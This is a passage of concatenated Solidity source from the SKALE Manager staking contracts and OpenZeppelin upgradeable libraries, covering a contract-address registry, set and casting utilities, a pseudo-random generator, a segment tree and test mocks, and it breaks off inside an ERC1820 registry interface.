<https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "./utils/StringUtils.sol"; /** * @title ContractManager * @dev Contract contains the actual current mapping from contract IDs * (in the form of human-readable strings) to addresses. */ contract ContractManager is OwnableUpgradeSafe { using StringUtils for string; using Address for address; string public constant BOUNTY = "Bounty"; string public constant CONSTANTS_HOLDER = "ConstantsHolder"; string public constant DELEGATION_PERIOD_MANAGER = "DelegationPeriodManager"; string public constant PUNISHER = "Punisher"; string public constant SKALE_TOKEN = "SkaleToken"; string public constant TIME_HELPERS = "TimeHelpers"; string public constant TOKEN_STATE = "TokenState"; string public constant VALIDATOR_SERVICE = "ValidatorService"; // mapping of actual smart contracts addresses mapping (bytes32 => address) public contracts; /** * @dev Emitted when contract is upgraded. */ event ContractUpgraded(string contractsName, address contractsAddress); function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } /** * @dev Allows the Owner to add contract to mapping of contract addresses. * * Emits a {ContractUpgraded} event. * * Requirements: * * - New address is non-zero. * - Contract is not already added. * - Contract address contains code. */ function setContractsAddress(string calldata contractsName, address newContractsAddress) external onlyOwner { // check newContractsAddress is not equal to zero require(newContractsAddress != address(0), "New address is equal zero"); // create hash of contractsName bytes32 contractId = keccak256(abi.encodePacked(contractsName)); // check newContractsAddress is not equal the previous contract's address require(contracts[contractId] != newContractsAddress, "Contract is already added"); require(newContractsAddress.isContract(), "Given contract address does not contain code"); // add newContractsAddress to mapping of actual contract addresses contracts[contractId] = newContractsAddress; emit ContractUpgraded(contractsName, newContractsAddress); } /** * @dev Returns contract address. * * Requirements: * * - Contract must exist. */ function getDelegationPeriodManager() external view returns (address) { return getContract(DELEGATION_PERIOD_MANAGER); } function getBounty() external view returns (address) { return getContract(BOUNTY); } function getValidatorService() external view returns (address) { return getContract(VALIDATOR_SERVICE); } function getTimeHelpers() external view returns (address) { return getContract(TIME_HELPERS); } function getConstantsHolder() external view returns (address) { return getContract(CONSTANTS_HOLDER); } function getSkaleToken() external view returns (address) { return getContract(SKALE_TOKEN); } function getTokenState() external view returns (address) { return getContract(TOKEN_STATE); } function getPunisher() external view returns (address) { return getContract(PUNISHER); } function getContract(string memory name) public view returns (address contractAddress) { contractAddress = contracts[keccak256(abi.encodePacked(name))]; if (contractAddress == address(0)) { revert(name.strConcat(" contract has not been found")); } } } pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.6.0; import "../Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity ^0.6.0; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: AGPL-3.0-only /* StringUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; library StringUtils { using SafeMath for uint; function strConcat(string memory a, string memory b) internal pure returns (string memory) { bytes memory _ba = bytes(a); bytes memory _bb = bytes(b); string memory ab = new string(_ba.length.add(_bb.length)); bytes memory strBytes = bytes(ab); uint k = 0; uint i = 0; for (i = 0; i < _ba.length; i++) { strBytes[k++] = _ba[i]; } for (i = 0; i < _bb.length; i++) { strBytes[k++] = _bb[i]; } return string(strBytes); } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's uintXX casting operators with added overflow * checks. * * Downcasting from uint256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} to extend it to smaller types, by performing * all math on `uint256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTree.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; /** * @title Random * @dev The library for generating of pseudo random numbers */ library Random { using SafeMath for uint; struct RandomGenerator { uint seed; } /** * @dev Create an instance of RandomGenerator */ function create(uint seed) internal pure returns (RandomGenerator memory) { return RandomGenerator({seed: seed}); } function createFromEntropy(bytes memory entropy) internal pure returns (RandomGenerator memory) { return create(uint(keccak256(entropy))); } /** * @dev Generates random value */ function random(RandomGenerator memory self) internal pure returns (uint) { self.seed = uint(sha256(abi.encodePacked(self.seed))); return self.seed; } /** * @dev Generates random value in range [0, max) */ function random(RandomGenerator memory self, uint max) internal pure returns (uint) { assert(max > 0); uint maxRand = uint(-1).sub(uint(-1).mod(max)); if (uint(-1).sub(maxRand) == max.sub(1)) { return random(self).mod(max); } else { uint rand = random(self); while (rand >= maxRand) { rand = random(self); } return rand.mod(max); } } /** * @dev Generates random value in range [min, max) */ function random(RandomGenerator memory self, uint min, uint max) internal pure returns (uint) { assert(min < max); return min.add(random(self, max.sub(min))); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTree.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./Random.sol"; /** * @title SegmentTree * @dev This library implements segment tree data structure * * Segment tree allows effectively calculate sum of elements in sub arrays * by storing some amount of additional data. * * IMPORTANT: Provided implementation assumes that arrays is indexed from 1 to n. * Size of initial array always must be power of 2 * * Example: * * Array: * +---+---+---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +---+---+---+---+---+---+---+---+ * * Segment tree structure: * +-------------------------------+ * | 36 | * +---------------+---------------+ * | 10 | 26 | * +-------+-------+-------+-------+ * | 3 | 7 | 11 | 15 | * +---+---+---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +---+---+---+---+---+---+---+---+ * * How the segment tree is stored in an array: * +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+ * | 36 | 10 | 26 | 3 | 7 | 11 | 15 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+ */ library SegmentTree { using Random for Random.RandomGenerator; using SafeMath for uint; struct Tree { uint[] tree; } /** * @dev Allocates storage for segment tree of `size` elements * * Requirements: * * - `size` must be greater than 0 * - `size` must be power of 2 */ function create(Tree storage segmentTree, uint size) external { require(size > 0, "Size can't be 0"); require(size & size.sub(1) == 0, "Size is not power of 2"); segmentTree.tree = new uint[](size.mul(2).sub(1)); } /** * @dev Adds `delta` to element of segment tree at `place` * * Requirements: * * - `place` must be in range [1, size] */ function addToPlace(Tree storage self, uint place, uint delta) external { require(_correctPlace(self, place), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; self.tree[0] = self.tree[0].add(delta); while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta); } } /** * @dev Subtracts `delta` from element of segment tree at `place` * * Requirements: * * - `place` must be in range [1, size] * - initial value of target element must be not less than `delta` */ function removeFromPlace(Tree storage self, uint place, uint delta) external { require(_correctPlace(self, place), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; self.tree[0] = self.tree[0].sub(delta); while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].sub(delta); } } /** * @dev Adds `delta` to element of segment tree at `toPlace` * and subtracts `delta` from element at `fromPlace` * * Requirements: * * - `fromPlace` must be in range [1, size] * - `toPlace` must be in range [1, size] * - initial value of element at `fromPlace` must be not less than `delta` */ function moveFromPlaceToPlace( Tree storage self, uint fromPlace, uint toPlace, uint delta ) external { require(_correctPlace(self, fromPlace) && _correctPlace(self, toPlace), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; uint middle = leftBound.add(rightBound).div(2); uint fromPlaceMove = fromPlace > toPlace ? toPlace : fromPlace; uint toPlaceMove = fromPlace > toPlace ? fromPlace : toPlace; while (toPlaceMove <= middle || middle < fromPlaceMove) { if (middle < fromPlaceMove) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } middle = leftBound.add(rightBound).div(2); } uint leftBoundMove = leftBound; uint rightBoundMove = rightBound; uint stepMove = step; while(leftBoundMove < rightBoundMove && leftBound < rightBound) { uint middleMove = leftBoundMove.add(rightBoundMove).div(2); if (fromPlace > middleMove) { leftBoundMove = middleMove.add(1); stepMove = stepMove.add(stepMove).add(1); } else { rightBoundMove = middleMove; stepMove = stepMove.add(stepMove); } self.tree[stepMove.sub(1)] = self.tree[stepMove.sub(1)].sub(delta); middle = leftBound.add(rightBound).div(2); if (toPlace > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta); } } /** * @dev Returns random position in range [`place`, size] * with probability proportional to value stored at this position. * If all element in range are 0 returns 0 * * Requirements: * * - `place` must be in range [1, size] */ function getRandomNonZeroElementFromPlaceToLast( Tree storage self, uint place, Random.RandomGenerator memory randomGenerator ) external view returns (uint) { require(_correctPlace(self, place), "Incorrect place"); uint vertex = 1; uint leftBound = 0; uint rightBound = getSize(self); uint currentFrom = place.sub(1); uint currentSum = sumFromPlaceToLast(self, place); if (currentSum == 0) { return 0; } while(leftBound.add(1) < rightBound) { if (_middle(leftBound, rightBound) <= currentFrom) { vertex = _right(vertex); leftBound = _middle(leftBound, rightBound); } else { uint rightSum = self.tree[_right(vertex).sub(1)]; uint leftSum = currentSum.sub(rightSum); if (Random.random(randomGenerator, currentSum) < leftSum) { // go left vertex = _left(vertex); rightBound = _middle(leftBound, rightBound); currentSum = leftSum; } else { // go right vertex = _right(vertex); leftBound = _middle(leftBound, rightBound); currentFrom = leftBound; currentSum = rightSum; } } } return leftBound.add(1); } /** * @dev Returns sum of elements in range [`place`, size] * * Requirements: * * - `place` must be in range [1, size] */ function sumFromPlaceToLast(Tree storage self, uint place) public view returns (uint sum) { require(_correctPlace(self, place), "Incorrect place"); if (place == 1) { return self.tree[0]; } uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); sum = sum.add(self.tree[step]); } } sum = sum.add(self.tree[step.sub(1)]); } /** * @dev Returns amount of elements in segment tree */ function getSize(Tree storage segmentTree) internal view returns (uint) { if (segmentTree.tree.length > 0) { return segmentTree.tree.length.div(2).add(1); } else { return 0; } } /** * @dev Checks if `place` is valid position in segment tree */ function _correctPlace(Tree storage self, uint place) private view returns (bool) { return place >= 1 && place <= getSize(self); } /** * @dev Calculates index of left child of the vertex */ function _left(uint vertex) private pure returns (uint) { return vertex.mul(2); } /** * @dev Calculates index of right child of the vertex */ function _right(uint vertex) private pure returns (uint) { return vertex.mul(2).add(1); } /** * @dev Calculates arithmetical mean of 2 numbers */ function _middle(uint left, uint right) private pure returns (uint) { return left.add(right).div(2); } } // SPDX-License-Identifier: AGPL-3.0-only /* ILocker.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface of the Locker functions. */ interface ILocker { /** * @dev Returns and updates the total amount of locked tokens of a given * `holder`. */ function getAndUpdateLockedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the total non-transferrable and un-delegatable * amount of a given `holder`. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external returns (uint); } // SPDX-License-Identifier: AGPL-3.0-only /* NodesMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../BountyV2.sol"; import "../Permissions.sol"; contract NodesMock is Permissions { uint public nodesCount = 0; uint public nodesLeft = 0; // nodeId => timestamp mapping (uint => uint) public lastRewardDate; // nodeId => left mapping (uint => bool) public nodeLeft; // nodeId => validatorId mapping (uint => uint) public owner; function registerNodes(uint amount, uint validatorId) external { for (uint nodeId = nodesCount; nodeId < nodesCount + amount; ++nodeId) { lastRewardDate[nodeId] = now; owner[nodeId] = validatorId; } nodesCount += amount; } function removeNode(uint nodeId) external { ++nodesLeft; nodeLeft[nodeId] = true; } function changeNodeLastRewardDate(uint nodeId) external { lastRewardDate[nodeId] = now; } function getNodeLastRewardDate(uint nodeIndex) external view returns (uint) { require(nodeIndex < nodesCount, "Node does not exist"); return lastRewardDate[nodeIndex]; } function isNodeLeft(uint nodeId) external view returns (bool) { return nodeLeft[nodeId]; } function getNumberOnlineNodes() external view returns (uint) { return nodesCount.sub(nodesLeft); } function checkPossibilityToMaintainNode(uint /* validatorId */, uint /* nodeIndex */) external pure returns (bool) { return true; } function getValidatorId(uint nodeId) external view returns (uint) { return owner[nodeId]; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManagerMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../interfaces/IMintableToken.sol"; import "../Permissions.sol"; contract SkaleManagerMock is Permissions, IERC777Recipient { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); constructor (address contractManagerAddress) public { Permissions.initialize(contractManagerAddress); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } function payBounty(uint validatorId, uint amount) external { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); require(IMintableToken(address(skaleToken)).mint(address(this), amount, "", ""), "Token was not minted"); require( IMintableToken(address(skaleToken)) .mint(contractManager.getContract("Distributor"), amount, abi.encode(validatorId), ""), "Token was not minted" ); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleToken") // solhint-disable-next-line no-empty-blocks { } } pragma solidity ^0.6.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * 